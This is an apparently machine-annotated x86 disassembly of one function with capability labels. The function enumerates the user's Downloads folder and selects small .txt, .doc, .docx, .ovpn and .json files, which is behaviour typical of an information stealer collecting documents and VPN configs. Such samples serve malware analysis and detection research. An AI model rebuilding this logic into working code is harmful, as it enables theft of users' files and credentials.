Function at 0x402a19
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
lea eax, [ebp - 0x644]
push ebx
push esi
mov esi, 0x200
xor ebx, ebx
push esi
push ebx
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x844]
push ebx
push eax
call fcn.00409fd0
add esp, 0x24
lea eax, [ebp - 0x444]
push eax
push ebx
push ebx
push 0x28
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x402c67
lea edx, [ebp - 0x444]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a7a
push edi
lea edi, [ebp - 0x644]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a8b
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x644]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402aa8
mov esi, str.Downloads
lea ecx, [ebp - 0x644]
dec ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x402ac1
mov eax, dword [str..]
mov dword [ecx], eax
mov al, byte [0x41f410]
mov byte [ecx + 4], al
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402c66
xor ecx, ecx
mov al, byte [ebp + ecx - 0x444]
mov byte [ebp + ecx - 0x200], al
inc ecx
test al, al
jne 0x402af9
lea edi, [ebp - 0x200]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b13
mov esi, str.Downloads
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x200]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b2c
mov ax, word [0x41f414]
lea edx, [ebp - 0x314]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b45
lea edi, [ebp - 0x200]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b55
mov ecx, edx
lea eax, [ebp - 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push str..txt
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x402bde
lea eax, [ebp - 0x200]
push str..doc
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x402bde
lea eax, [ebp - 0x200]
push str..docx
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x402bde
lea eax, [ebp - 0x200]
push str..ovpn
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x402bde
lea eax, [ebp - 0x200]
push str..json
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
je 0x402c49
lea eax, [ebp - 0x200]
push eax
call fcn.00403e66
pop ecx
cmp eax, 0xc350
jge 0x402c49
mov esi, str.downloads_
lea edi, [ebp - 0x844]
lea edx, [ebp - 0x314]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c0a
lea edi, [ebp - 0x844]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c1a
mov ecx, edx
lea eax, [ebp - 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x844]
mov ecx, edx
push eax
push dword [ebp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00405a3b
add esp, 0xc
lea eax, [ebp - 0x340]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402af7
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret